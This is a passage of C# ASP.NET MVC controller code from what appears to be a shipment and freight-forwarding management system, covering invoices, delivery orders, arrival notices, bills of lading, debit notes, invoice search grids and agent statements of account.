InvoideIssued Invoice1 = new InvoideIssued();
Invoice1.RevenueId = id;
Invoice1.ShipmentId = id;
Invoice1.InvoiceNo = Revenue1.AccInv3.Trim();
Invoice1.Date = Revenue1.AccInvDate3;
ShipmentServices1.insertInvoice(Invoice1);
}
if (!StringUtils.isNullOrEmpty(RevenueModel1.AccInvDate2) && !StringUtils.isNullOrEmpty(Revenue1.AccInv2))
{
Revenue1.AccInvDate2 = DateUtils.Convert2DateTime(RevenueModel1.AccInvDate2);
Shipment1.IsInvoiced = true;
InvoideIssued Invoice1 = new InvoideIssued();
Invoice1.RevenueId = id;
Invoice1.ShipmentId = id;
Invoice1.InvoiceNo = Revenue1.AccInv2.Trim();
Invoice1.Date = Revenue1.AccInvDate2;
ShipmentServices1.insertInvoice(Invoice1);
}
if (!StringUtils.isNullOrEmpty(RevenueModel1.AccInvDate4) && !StringUtils.isNullOrEmpty(Revenue1.AccInv4))
{
Revenue1.AccInvDate4 = DateUtils.Convert2DateTime(RevenueModel1.AccInvDate4);
Shipment1.IsInvoiced = true;
InvoideIssued Invoice1 = new InvoideIssued();
Invoice1.RevenueId = id;
Invoice1.ShipmentId = id;
Invoice1.InvoiceNo = Revenue1.AccInv4.Trim();
Invoice1.Date = Revenue1.AccInvDate4;
ShipmentServices1.insertInvoice(Invoice1);
}
ShipmentServices1.UpdateAny();
}
else
{
GetDefaultData();
return View("Revenue", RevenueModel1);
}
return RedirectToAction("Revenue", new { id = id });
}
[HttpPost]
public ActionResult RevenueDetail(RevenueModel RevenueModel1, long id)
{
if (ModelState.IsValid)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(id);
viewDocument(Shipment1);
Revenue Revenue1 = ShipmentServices1.getRevenueById(id);
ShipmentServices1.deleteInvoiceByRev(id);
Revenue1.AccountId = User1.Id;
Revenue1.AccInv1 = RevenueModel1.AccInv1;
Revenue1.AccInv2 = RevenueModel1.AccInv2;
Revenue1.AccInv3 = RevenueModel1.AccInv3;
Revenue1.AccInv4 = RevenueModel1.AccInv4;
Revenue1.EXRemark = RevenueModel1.EXRemarkHidden;
Revenue1.INRemark = RevenueModel1.INRemarkHidden;
GetDefaultData();
if (Shipment1 == null)
{
return View("RevenueDetail", RevenueModel1);
}
if (!StringUtils.isNullOrEmpty(RevenueModel1.AccInvDate1) && !StringUtils.isNullOrEmpty(Revenue1.AccInv1))
{
Revenue1.AccInvDate1 = DateUtils.Convert2DateTime(RevenueModel1.AccInvDate1);
Shipment1.IsInvoiced = true;
InvoideIssued Invoice1 = new InvoideIssued();
Invoice1.RevenueId = id;
Invoice1.ShipmentId = id;
Invoice1.InvoiceNo = Revenue1.AccInv1.Trim();
Invoice1.Date = Revenue1.AccInvDate1;
ShipmentServices1.insertInvoice(Invoice1);
}
if (!StringUtils.isNullOrEmpty(RevenueModel1.AccInvDate3) && !StringUtils.isNullOrEmpty(Revenue1.AccInv3))
{
Revenue1.AccInvDate3 = DateUtils.Convert2DateTime(RevenueModel1.AccInvDate3);
Shipment1.IsInvoiced = true;
InvoideIssued Invoice1 = new InvoideIssued();
Invoice1.RevenueId = id;
Invoice1.ShipmentId = id;
Invoice1.InvoiceNo = Revenue1.AccInv3.Trim();
Invoice1.Date = Revenue1.AccInvDate3;
ShipmentServices1.insertInvoice(Invoice1);
}
if (!StringUtils.isNullOrEmpty(RevenueModel1.AccInvDate2) && !StringUtils.isNullOrEmpty(Revenue1.AccInv2))
{
Revenue1.AccInvDate2 = DateUtils.Convert2DateTime(RevenueModel1.AccInvDate2);
Shipment1.IsInvoiced = true;
InvoideIssued Invoice1 = new InvoideIssued();
Invoice1.RevenueId = id;
Invoice1.ShipmentId = id;
Invoice1.InvoiceNo = Revenue1.AccInv2.Trim();
Invoice1.Date = Revenue1.AccInvDate2;
ShipmentServices1.insertInvoice(Invoice1);
}
if (!StringUtils.isNullOrEmpty(RevenueModel1.AccInvDate4) && !StringUtils.isNullOrEmpty(Revenue1.AccInv4))
{
Revenue1.AccInvDate4 = DateUtils.Convert2DateTime(RevenueModel1.AccInvDate4);
Shipment1.IsInvoiced = true;
InvoideIssued Invoice1 = new InvoideIssued();
Invoice1.RevenueId = id;
Invoice1.ShipmentId = id;
Invoice1.InvoiceNo = Revenue1.AccInv4.Trim();
Invoice1.Date = Revenue1.AccInvDate4;
ShipmentServices1.insertInvoice(Invoice1);
}
ShipmentServices1.UpdateAny();
}
else
{
if (Request.IsAjaxRequest())
{
return PartialView("_RevenueDetailAcctView", RevenueModel1);
}
return View("RevenueDetail", RevenueModel1);
}
if (Request.IsAjaxRequest())
{
return Json(new { finish = true, message = string.Format("Update invoice successfully!!") },
JsonRequestBehavior.AllowGet);
}
return RedirectToAction("RevenueDetail", new { id = id });
}
#endregion
#region Bill
public ActionResult PrintArriveNotice(long ShipmentId, string typedoc = "SGN")
{
ViewData["Typedoc"] = typedoc;
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
ArriveNoticeModel ArriveNoticeModel1 = new ArriveNoticeModel();
if (Shipment1.ArriveNotices != null && Shipment1.ArriveNotices.Count > 0)
{
ArriveNoticeModel1 = new ArriveNoticeModel();
ArriveNotice ArriveNotice1 = Shipment1.ArriveNotices.ElementAt(0);
ArriveNoticeModel.ConvertArriveNotice(ArriveNotice1, ArriveNoticeModel1);
}
if (Shipment1.Revenue != null)
{
ViewData["Revenue"] = Shipment1.Revenue;
}
if (typedoc.Equals("HAN"))
{
return View("PrintArriveNoticeHAN", ArriveNoticeModel1);
}
return View(ArriveNoticeModel1);
}
public ActionResult DeliveryOrder(long ShipmentId, string typedoc = "SGN")
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
ViewData["Typedoc"] = typedoc;
viewDocument(Shipment1);
ArriveNoticeModel ArriveNoticeModel1 = new ArriveNoticeModel();
ArriveNoticeModel1.CompanyName = Shipment1.Customer.FullName + "\r\n" + Shipment1.Customer.Address;
ArriveNoticeModel1.DOAddress = ArriveNoticeModel1.CompanyName;
ArriveNoticeModel1.BillNumber = Shipment1.HouseNum;
ArriveNoticeModel1.ShiperName = Shipment1.CarrierAirLine.AbbName;
if (ArriveNoticeModel1.DOAddress == null || ArriveNoticeModel1.DOAddress.Trim().Equals(""))
{
ArriveNoticeModel1.DOAddress = ShipmentServices1.getLastArriveNotice().DOAddress;
}
ArriveNoticeModel1.DOCompanyAddress = ShipmentServices1.getLastArriveNotice().DOCompanyAddress;
ArriveNoticeModel1.ShipmentId = ShipmentId;
ArriveNoticeModel1.DOENTitle = "(DELIVERY ORDER)";
ArriveNoticeModel1.DOVNTitle = "LỆNH GIAO HÀNG";
ArriveNoticeModel1.ToVN = "THƯƠNG VỤ - KHO VẬN CẢNG";
ArriveNoticeModel1.ToEN = "PORT AUTHORITY";
if (Shipment1.ArriveNotices != null && Shipment1.ArriveNotices.Count > 0)
{
ArriveNotice ArriveNotice1 = Shipment1.ArriveNotices.ElementAt(0);
ArriveNoticeModel.ConvertArriveNotice(ArriveNotice1, ArriveNoticeModel1);
if (ArriveNoticeModel1.DOENTitle == null || ArriveNoticeModel1.DOENTitle.Trim() == "")
ArriveNoticeModel1.DOENTitle = "(DELIVERY ORDER)";
if (ArriveNoticeModel1.DOVNTitle == null || ArriveNoticeModel1.DOVNTitle.Trim() == "")
ArriveNoticeModel1.DOVNTitle = "LỆNH GIAO HÀNG";
if (ArriveNoticeModel1.ToVN == null || ArriveNoticeModel1.ToVN.Trim() == "")
ArriveNoticeModel1.ToVN = "THƯƠNG VỤ - KHO VẬN CẢNG";
if (ArriveNoticeModel1.ToEN == null || ArriveNoticeModel1.ToEN.Trim() == "")
ArriveNoticeModel1.ToEN = "PORT AUTHORITY";
if (ArriveNoticeModel1.DOAddress == null || ArriveNoticeModel1.DOAddress.Trim().Equals(""))
{
ArriveNoticeModel1.DOAddress = ArriveNoticeModel1.CompanyName;
}
if (ArriveNoticeModel1.DOCompanyAddress == null || ArriveNoticeModel1.DOCompanyAddress.Trim().Equals(""))
{
ArriveNoticeModel1.DOCompanyAddress = ArriveNoticeModel1.CompanyAddress;
}
}
if (typedoc.Equals("HAN"))
{
return View("DeliveryOrderHAN", ArriveNoticeModel1);
}
return View(ArriveNoticeModel1);
}
[HttpPost]
public ActionResult DeliveryOrder(ArriveNoticeModel ArriveNoticeModel1, long ShipmentId, string typedoc = "SGN")
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
ViewData["Typedoc"] = typedoc;
viewDocument(Shipment1);
ArriveNoticeModel1.OrderDate = DateTime.Now.ToString("dd/MM/yyyy");
if (Shipment1.ArriveNotices != null && Shipment1.ArriveNotices.Count > 0)
{
ArriveNotice ArriveNotice1 = Shipment1.ArriveNotices.ElementAt(0);
ArriveNotice1 = ShipmentServices1.getArriveNotice(ArriveNotice1.Id);
ArriveNotice1.DeliveryDate = ArriveNoticeModel1.DeliveryDate;
ArriveNotice1.DOAddress = ArriveNoticeModel1.DOAddress;
ArriveNotice1.DOCompanyAddress = ArriveNoticeModel1.DOCompanyAddress;
ArriveNotice1.GoodsDescription = ArriveNoticeModel1.GoodsDescription;
ArriveNotice1.GrossWeight = ArriveNoticeModel1.GrossWeight;
ArriveNotice1.ShippingMark = ArriveNoticeModel1.ShippingMark;
ArriveNotice1.NoCTNS = ArriveNoticeModel1.NoCTNS;
ArriveNotice1.CBM = ArriveNoticeModel1.CBM;
ArriveNotice1.DOENTitle = ArriveNoticeModel1.DOENTitle;
ArriveNotice1.DOVNTitle = ArriveNoticeModel1.DOVNTitle;
ArriveNotice1.ToEN = ArriveNoticeModel1.ToEN;
ArriveNotice1.ToVN = ArriveNoticeModel1.ToVN;
ArriveNotice1.DOLogo = ArriveNoticeModel1.DOLogo;
ArriveNotice1.DOHeader = ArriveNoticeModel1.DOHeader;
ArriveNotice1.DOFooter = ArriveNoticeModel1.DOFooter;
ArriveNotice1.AddressOfSign = ArriveNoticeModel1.AddressOfSign;
ArriveNotice1.CompanyAddress = ArriveNoticeModel1.CompanyAddress;
ShipmentServices1.updateArriveNotice();
ArriveNotice1 = ShipmentServices1.getArriveNotice(ArriveNotice1.Id);
}
else
{
ArriveNotice ArriveNotice1 = new ArriveNotice();
ArriveNotice1.ShipmentId = Shipment1.Id;
ArriveNotice1.DeliveryDate = ArriveNoticeModel1.DeliveryDate;
ArriveNotice1.DOAddress = ArriveNoticeModel1.DOAddress;
ArriveNotice1.DOCompanyAddress = ArriveNoticeModel1.DOCompanyAddress;
ArriveNotice1.GoodsDescription = ArriveNoticeModel1.GoodsDescription;
ArriveNotice1.GrossWeight = ArriveNoticeModel1.GrossWeight;
ArriveNotice1.ShippingMark = ArriveNoticeModel1.ShippingMark;
ArriveNotice1.NoCTNS = ArriveNoticeModel1.NoCTNS;
ArriveNotice1.CBM = ArriveNoticeModel1.CBM;
ArriveNotice1.DOENTitle = ArriveNoticeModel1.DOENTitle;
ArriveNotice1.DOVNTitle = ArriveNoticeModel1.DOVNTitle;
ArriveNotice1.ToEN = ArriveNoticeModel1.ToEN;
ArriveNotice1.ToVN = ArriveNoticeModel1.ToVN;
ArriveNotice1.DOLogo = ArriveNoticeModel1.DOLogo;
ArriveNotice1.DOHeader = ArriveNoticeModel1.DOHeader;
ArriveNotice1.DOFooter = ArriveNoticeModel1.DOFooter;
ArriveNotice1.AddressOfSign = ArriveNoticeModel1.AddressOfSign;
ArriveNotice1.CompanyAddress = ArriveNoticeModel1.CompanyAddress;
//ArriveNoticeModel.ConvertArriveNotice(ArriveNoticeModel1, ArriveNotice1);
ShipmentServices1.insertArriveNotice(ArriveNotice1);
}
if (typedoc.Equals("HAN"))
{
return View("DeliveryOrderHAN", ArriveNoticeModel1);
}
return View(ArriveNoticeModel1);
}
public ActionResult PrintDeliveryOrder(long ShipmentId, string typedoc = "SGN")
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
ArriveNoticeModel ArriveNoticeModel1 = ArriveNoticeModel1 = new ArriveNoticeModel();
if (Shipment1.ArriveNotices != null && Shipment1.ArriveNotices.Count > 0)
{
ArriveNotice ArriveNotice1 = Shipment1.ArriveNotices.ElementAt(0);
ArriveNoticeModel.ConvertArriveNotice(ArriveNotice1, ArriveNoticeModel1);
}
if (typedoc.Equals("HAN"))
{
return View("PrintDeliveryOrderHAN", ArriveNoticeModel1);
}
return View(ArriveNoticeModel1);
}
public ActionResult ArriveNotice(long ShipmentId, long BillDetailId, string typedoc = "SGN")
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
ViewData["Typedoc"] = typedoc;
viewDocument(Shipment1);
ArriveNoticeModel ArriveNoticeModel1 = new ArriveNoticeModel();
ArriveNoticeModel1.CompanyName = Shipment1.Customer.FullName + "\r\n" + Shipment1.Customer.Address;
ArriveNoticeModel1.DOAddress = ArriveNoticeModel1.CompanyName;
ArriveNoticeModel1.BillNumber = Shipment1.HouseNum;
ArriveNoticeModel1.ShiperName = Shipment1.CarrierAirLine.AbbName;
ArriveNoticeModel1.CompanyAddress = ShipmentServices1.getLastArriveNotice().CompanyAddress;
ArriveNoticeModel1.DOCompanyAddress = ShipmentServices1.getLastArriveNotice().DOCompanyAddress;
ArriveNoticeModel1.ShipmentId = ShipmentId;
if (Shipment1.ArriveNotices != null && Shipment1.ArriveNotices.Count > 0)
{
ArriveNotice ArriveNotice1 = Shipment1.ArriveNotices.ElementAt(0);
ArriveNoticeModel.ConvertArriveNotice(ArriveNotice1, ArriveNoticeModel1);
if (ArriveNoticeModel1.CompanyName == null || ArriveNoticeModel1.CompanyName.Trim().Equals(""))
{
ArriveNoticeModel1.CompanyName = ArriveNoticeModel1.DOAddress;
}
if (ArriveNoticeModel1.CompanyAddress == null || ArriveNoticeModel1.CompanyAddress.Trim().Equals(""))
{
ArriveNoticeModel1.CompanyAddress = ArriveNoticeModel1.DOCompanyAddress;
}
}
if (Shipment1.Revenue != null)
{
ViewData["Revenue"] = Shipment1.Revenue;
}
return View(ArriveNoticeModel1);
}
[HttpPost]
public ActionResult ArriveNotice(ArriveNoticeModel ArriveNoticeModel1, long ShipmentId, long BillDetailId, string typedoc = "SGN")
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
ViewData["Typedoc"] = typedoc;
viewDocument(Shipment1);
ArriveNoticeModel1.OrderDate = DateTime.Now.ToString("dd/MM/yyyy");
if (Shipment1.ArriveNotices != null && Shipment1.ArriveNotices.Count > 0)
{
ArriveNotice ArriveNotice1 = Shipment1.ArriveNotices.ElementAt(0);
ArriveNotice1 = ShipmentServices1.getArriveNotice(ArriveNotice1.Id);
ArriveNoticeModel.ConvertArriveNotice(ArriveNoticeModel1, ArriveNotice1);
ShipmentServices1.updateArriveNotice();
ArriveNotice1 = ShipmentServices1.getArriveNotice(ArriveNotice1.Id);
}
else
{
ArriveNotice ArriveNotice1 = new ArriveNotice();
ArriveNoticeModel.ConvertArriveNotice(ArriveNoticeModel1, ArriveNotice1);
ShipmentServices1.insertArriveNotice(ArriveNotice1);
}
return View(ArriveNoticeModel1);
}
public ActionResult BookingNote(long ShipmentId)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
BookingNoteModel BookingNoteModel1 = new BookingNoteModel();
BookingNoteModel1.ShipmentId = ShipmentId;
// ArriveNoticeModel1.CompanyName = Shipment1.Customer.FullName + "\r\n" + Shipment1.Customer.Address;
BookingNoteModel1.ShipperName = Shipment1.Customer1.FullName + "\r\n" + Shipment1.Customer1.Address;
BookingNoteModel1.Consignee = Shipment1.Customer.FullName;
if (Shipment1.BookingNotes != null && Shipment1.BookingNotes.Count > 0)
{
BookingNote BookingNote1 = Shipment1.BookingNotes.ElementAt(0);
BookingNoteModel.ConvertBookingNote(BookingNote1, BookingNoteModel1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(BookingNoteModel1);
}
[HttpPost]
public ActionResult BookingNote(BookingNoteModel BookingNoteModel1, long ShipmentId)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
if (Shipment1.BookingNotes != null && Shipment1.BookingNotes.Count > 0)
{
BookingNote BookingNote1 = Shipment1.BookingNotes.ElementAt(0);
BookingNote1 = ShipmentServices1.getBookingNote(BookingNote1.Id);
BookingNoteModel.ConvertBookingNote(BookingNoteModel1, BookingNote1);
ShipmentServices1.updateArriveNotice();
BookingNote1 = ShipmentServices1.getBookingNote(BookingNote1.Id);
}
else
{
BookingNote BookingNote1 = new BookingNote();
BookingNoteModel.ConvertBookingNote(BookingNoteModel1, BookingNote1);
ShipmentServices1.insertBookingNote(BookingNote1);
}
return RedirectToAction("BookingNote", new { ShipmentId = ShipmentId, BillDetailId = 0 });
}
public ActionResult PrintBookingNote(long ShipmentId)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
BookingNoteModel BookingNoteModel1 = new BookingNoteModel();
BookingNoteModel1.ShipmentId = ShipmentId;
if (Shipment1.BookingNotes != null && Shipment1.BookingNotes.Count > 0)
{
BookingNote BookingNote1 = Shipment1.BookingNotes.ElementAt(0);
BookingNoteModel.ConvertBookingNote(BookingNote1, BookingNoteModel1);
}
return View(BookingNoteModel1);
}
public ActionResult BillLanding(long ShipmentId)
{
BillLandingModel BillLandingModel1 = new BillLandingModel();
BillLandingModel1.ShipmentId = ShipmentId;
BillLandingModel1.BillLandingNo = ShipmentId.ToString();
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
BillLandingModel1.PhipperName = Shipment1.Customer1.FullName + "\r\n" + Shipment1.Customer1.Address;
BillLandingModel1.ConsignedOrder = Shipment1.Customer.FullName + "\r\n" + Shipment1.Customer.Address;
BillLandingModel1.ForRelease = Shipment1.Agent.AgentName + "\r\n" + Shipment1.Agent.Address;
if (Shipment1.BillLandings != null && Shipment1.BillLandings.Count > 0)
{
BillLanding BillLanding1 = Shipment1.BillLandings.ElementAt(0);
BillLandingModel.ConvertBillLanding(BillLanding1, BillLandingModel1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(BillLandingModel1);
}
[HttpPost]
public ActionResult BillLanding(BillLandingModel BillLandingModel1, long ShipmentId)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
if (Shipment1.BillLandings != null && Shipment1.BillLandings.Count > 0)
{
BillLanding BillLanding1 = Shipment1.BillLandings.ElementAt(0);
BillLanding1 = ShipmentServices1.getBillLanding(BillLanding1.Id);
BillLandingModel.ConvertBillLanding(BillLandingModel1, BillLanding1);
ShipmentServices1.UpdateAny();
}
else
{
BillLanding BillLanding1 = new BillLanding();
BillLandingModel.ConvertBillLanding(BillLandingModel1, BillLanding1);
ShipmentServices1.insertBillLanding(BillLanding1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(BillLandingModel1);
}
public ActionResult PrintBillLanding(long ShipmentId)
{
BillLandingModel BillLandingModel1 = new BillLandingModel();
BillLandingModel1.ShipmentId = ShipmentId;
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
if (Shipment1.BillLandings != null && Shipment1.BillLandings.Count > 0)
{
BillLanding BillLanding1 = Shipment1.BillLandings.ElementAt(0);
BillLandingModel.ConvertBillLanding(BillLanding1, BillLandingModel1);
}
return View(BillLandingModel1);
}
public ActionResult DebitNote(long id, long ShipmentId)
{
DebitNoteModel DebitNoteModel1 = new DebitNoteModel();
DebitNoteModel1.ShipmentId = ShipmentId;
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
DebitNoteModel1.CompanyTo = Shipment1.Agent.AgentName + "\r\n" + Shipment1.Agent.Address;
DebitNoteModel1.Origin = Shipment1.Area.AreaAddress + "," + Shipment1.Area.Country.CountryName;
DebitNoteModel1.Destination = Shipment1.Area1.AreaAddress + "," + Shipment1.Area1.Country.CountryName;
DebitNoteModel1.HAWB_HBL = Shipment1.HouseNum + "/" + Shipment1.MasterNum;
DebitNoteModel1.Weight = Shipment1.QtyNumber + "X" + Shipment1.QtyUnit;
DebitNoteModel1.CompanyFrom = UsersServices1.getComSetting(CompanyInfo.ACCOUNT_INFO);
if (Shipment1.DebitNotes != null && Shipment1.DebitNotes.Count > 0)
{
DebitNote DebitNote1 = Shipment1.DebitNotes.ElementAt(0);
DebitNoteModel.ConvertDebitNote(DebitNote1, DebitNoteModel1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(DebitNoteModel1);
}
[HttpPost]
[ValidateInput(false)]
public ActionResult DebitNote(long id, long ShipmentId, DebitNoteModel DebitNoteModel1)
{
DebitNoteModel1.ShipmentId = ShipmentId;
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
if (Shipment1.DebitNotes != null && Shipment1.DebitNotes.Count > 0)
{
DebitNote DebitNote1 = Shipment1.DebitNotes.ElementAt(0);
DebitNote1 = ShipmentServices1.getDebitNote(DebitNote1.Id);
DebitNoteModel.ConvertDebitNote(DebitNoteModel1, DebitNote1);
ShipmentServices1.UpdateAny();
}
else
{
DebitNote DebitNote1 = new DebitNote();
DebitNoteModel.ConvertDebitNote(DebitNoteModel1, DebitNote1);
ShipmentServices1.insertDebitNote(DebitNote1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(DebitNoteModel1);
}
public ActionResult PrintDebitNote(long id, long ShipmentId)
{
DebitNoteModel DebitNoteModel1 = new DebitNoteModel();
DebitNoteModel1.ShipmentId = ShipmentId;
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
if (Shipment1.DebitNotes != null && Shipment1.DebitNotes.Count > 0)
{
DebitNote DebitNote1 = Shipment1.DebitNotes.ElementAt(0);
DebitNoteModel.ConvertDebitNote(DebitNote1, DebitNoteModel1);
}
return View(DebitNoteModel1);
}
public ActionResult BLDetail(long ShipmentId)
{
BillLandingModel BillLandingModel1 = new BillLandingModel();
BillLandingModel1.ShipmentId = ShipmentId;
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
if (Shipment1.BillLandings != null && Shipment1.BillLandings.Count > 0)
{
BillLanding BillLanding1 = Shipment1.BillLandings.ElementAt(0);
BillLandingModel.ConvertBillLanding(BillLanding1, BillLandingModel1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(BillLandingModel1);
}
[HttpPost]
public ActionResult BLDetail(BillLandingModel BillLandingModel1, long ShipmentId)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
if (Shipment1.BillLandings != null && Shipment1.BillLandings.Count > 0)
{
BillLanding BillLanding1 = Shipment1.BillLandings.ElementAt(0);
BillLanding1 = ShipmentServices1.getBillLanding(BillLanding1.Id);
BillLanding1.BillTo = BillLandingModel1.BillTo;
BillLanding1.BKG = BillLandingModel1.BKG;
BillLanding1.BillFrom = BillLandingModel1.BillFrom;
BillLanding1.BLComAddress = BillLandingModel1.BLComAddress;
ShipmentServices1.UpdateAny();
BillLandingModel.ConvertBillLanding(BillLanding1, BillLandingModel1);
}
else
{
BillLanding BillLanding1 = new BillLanding();
BillLandingModel.ConvertBillLanding(BillLandingModel1, BillLanding1);
ShipmentServices1.insertBillLanding(BillLanding1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(BillLandingModel1);
}
public ActionResult PrintBLDetail(long ShipmentId)
{
BillLandingModel BillLandingModel1 = new BillLandingModel();
BillLandingModel1.ShipmentId = ShipmentId;
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
if (Shipment1.BillLandings != null && Shipment1.BillLandings.Count > 0)
{
BillLanding BillLanding1 = Shipment1.BillLandings.ElementAt(0);
BillLandingModel.ConvertBillLanding(BillLanding1, BillLandingModel1);
}
return View(BillLandingModel1);
}
public ActionResult UnIssuedInvoice()
{
_gridUInvoice = (Grid<Shipment>)Session[FINDINVOICE_MODEL];
findInvoiceModel = (FindInvoice)Session[FINDINVOICE_SEARCH_MODEL];
findInvoiceModel = findInvoiceModel ?? new FindInvoice()
{
DateTo = DateTime.Now.ToString("dd/MM/yyyy"),
DateFrom = DateTime.Now.AddMonths(-2).ToString("dd/MM/yyyy"),
ShipmentPriod = 1
};
findInvoiceModel.UnIssueInvoice = true;
if (_gridUInvoice == null)
{
_gridUInvoice = new Grid<Shipment>
(
new Pager
{
CurrentPage = 1,
PageSize = 20,
Sord = "desc",
Sidx = "DateShp"
}
);
}
UpdateGirdUnInvoce(findInvoiceModel);
return View(_gridUInvoice);
}
public const string FINDINVOICE_MODEL = "FINDINVOICE_MODEL";
public const string FINDUNINVOICE_MODEL = "FINDUNINVOICE_MODEL";
public const string FINDINVOICE_SEARCH_MODEL = "FINDINVOICE_SEARCH_MODEL";
private Grid<InvoideIssued> _gridInvoice;
private Grid<Shipment> _gridUInvoice;
FindInvoice findInvoiceModel = null;
public ActionResult FindInvoice()
{
_gridInvoice = (Grid<InvoideIssued>)Session[FINDINVOICE_MODEL];
findInvoiceModel = (FindInvoice)Session[FINDINVOICE_SEARCH_MODEL];
findInvoiceModel = findInvoiceModel ?? new FindInvoice()
{
DateTo = DateTime.Now.ToString("dd/MM/yyyy"),
DateFrom = DateTime.Now.AddMonths(-2).ToString("dd/MM/yyyy"),
ShipmentPriod = 1
};
ViewData["FindInvoice"] = findInvoiceModel;
if (_gridInvoice == null)
{
_gridInvoice = new Grid<InvoideIssued>
(
new Pager
{
CurrentPage = 1,
PageSize = 20,
Sord = "desc",
Sidx = "Date"
}
);
}
UpdateGridInvoiceIssued(findInvoiceModel);
return View(_gridInvoice);
}
private void UpdateGridInvoiceIssued(FindInvoice findInvoice)
{
var totalRow = 0;
Pager page = _gridInvoice.Pager;
var sort = new SSM.Services.SortField(string.IsNullOrEmpty(page.Sidx) ? "Date" : page.Sidx, page.Sord == "Desc");
var list = ShipmentServices1.searchInvoice(findInvoice);
list = list.OrderBy(sort);
totalRow = list.Count();
_gridInvoice.Pager.Init(totalRow);
if (totalRow == 0)
{
_gridInvoice.Data = new List<InvoideIssued>();
return;
}
int skip = (page.CurrentPage - 1) * page.PageSize;
if (skip > totalRow)
skip = 0;
int take = page.PageSize;
var listView = list.Skip(skip).Take(take).ToList();
_gridInvoice.Data = listView;
}
private void UpdateGirdUnInvoce(FindInvoice findInvoice)
{
var totalRow = 0;
Pager page = _gridUInvoice.Pager;
findInvoice.ShipmentPriod = 1;
//var sort = new SSM.Services.SortField(string.IsNullOrEmpty(page.Sidx) ? "DateShp" : page.Sidx, page.Sord == "Desc");
var list = ShipmentServices1.getAllUnIssuedInvoice(findInvoice);
// list = list.OrderBy(sort);
totalRow = list.Count();
_gridUInvoice.Pager.Init(totalRow);
if (totalRow == 0)
{
_gridUInvoice.Data = new List<Shipment>();
return;
}
int skip = (page.CurrentPage - 1) * page.PageSize;
if (skip > totalRow)
skip = 0;
int take = page.PageSize;
var listView = list.Skip(skip).Take(take).ToList();
_gridUInvoice.Data = listView;
}
[HttpPost]
public ActionResult FindInvoice(Grid<InvoideIssued> grid, Grid<Shipment> girdUninvoice, FindInvoice FindInvoice1)
{
ViewData["FindInvoice"] = FindInvoice1;
if (FindInvoice1.UnIssueInvoice)
{
Session[FINDUNINVOICE_MODEL] = girdUninvoice;
_gridUInvoice = girdUninvoice;
Session[FINDINVOICE_SEARCH_MODEL] = FindInvoice1;
_gridUInvoice.ProcessAction();
UpdateGirdUnInvoce(FindInvoice1);
return PartialView("_UnIssuedInvoice", _gridUInvoice);
}
else
{
_gridInvoice = grid;
Session[FINDINVOICE_MODEL] = grid;
Session[FINDINVOICE_SEARCH_MODEL] = FindInvoice1;
_gridInvoice.ProcessAction();
UpdateGridInvoiceIssued(FindInvoice1);
return PartialView("_InvoiceList", _gridInvoice);
}
}
public ActionResult ViewSOA()
{
agents = agents ?? agentService.GetAll(a => a.IsActive).OrderBy(x => x.AbbName);
ViewData["AgentsList"] = new SelectList(agents, "Id", "AbbName");
return View();
}
[HttpPost]
public ActionResult ViewSOA(SOAModel Model1)
{
agents = agents ?? agentService.GetAll(a => a.IsActive).OrderBy(x => x.AbbName);
ViewData["AgentsList"] = new SelectList(agents, "Id", "AbbName");
if (Model1.AgentId <= 0)
{
return View(Model1);
}
ViewData["AgentsList"] = new SelectList(ShipmentServices1.GetAgentBySOA(Model1), "Id", "AbbName");
double USDAmount = 0, GBPAmount = 0, EURAmount = 0, AUDAmount = 0;
IEnumerable<SOAModel> AgentSOA = ShipmentServices1.getAgentSOA(Model1);
foreach (SOAModel SOAModel1 in AgentSOA)
{
if (RevenueModel.CurrencyTypes.USD.ToString().Equals(SOAModel1.Currency)
&& (RevenueModel.InvTypes.VNCredit.ToString().Equals(SOAModel1.TypeNote) || RevenueModel.InvTypes.AgentCredit.ToString().Equals(SOAModel1.TypeNote)))
{
USDAmount = USDAmount + SOAModel1.Amount;
}
else
if (RevenueModel.CurrencyTypes.USD.ToString().Equals(SOAModel1.Currency)
&& (RevenueModel.InvTypes.VNDebit.ToString().Equals(SOAModel1.TypeNote) || RevenueModel.InvTypes.AgentDebit.ToString().Equals(SOAModel1.TypeNote)))
{
USDAmount = USDAmount - SOAModel1.Amount;
}
else
//--------------------------------------
